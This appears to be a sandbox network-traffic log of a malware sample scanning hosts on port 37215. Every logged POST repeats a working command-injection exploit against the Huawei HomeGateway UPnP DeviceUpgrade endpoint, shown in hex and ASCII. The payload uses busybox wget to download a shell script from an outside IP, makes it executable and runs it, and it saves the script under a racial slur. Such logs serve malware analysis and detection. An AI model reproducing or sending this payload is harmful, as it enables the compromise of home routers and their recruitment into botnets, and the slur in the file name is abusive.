Feb 19, 2024 18:37:14.714746952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.829443932 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.972800970 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.002918005 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	34002	31.136.47.154	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:14.714889050 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.829453945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.972810030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.002926111 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	59886	31.136.121.133	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:14.720017910 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
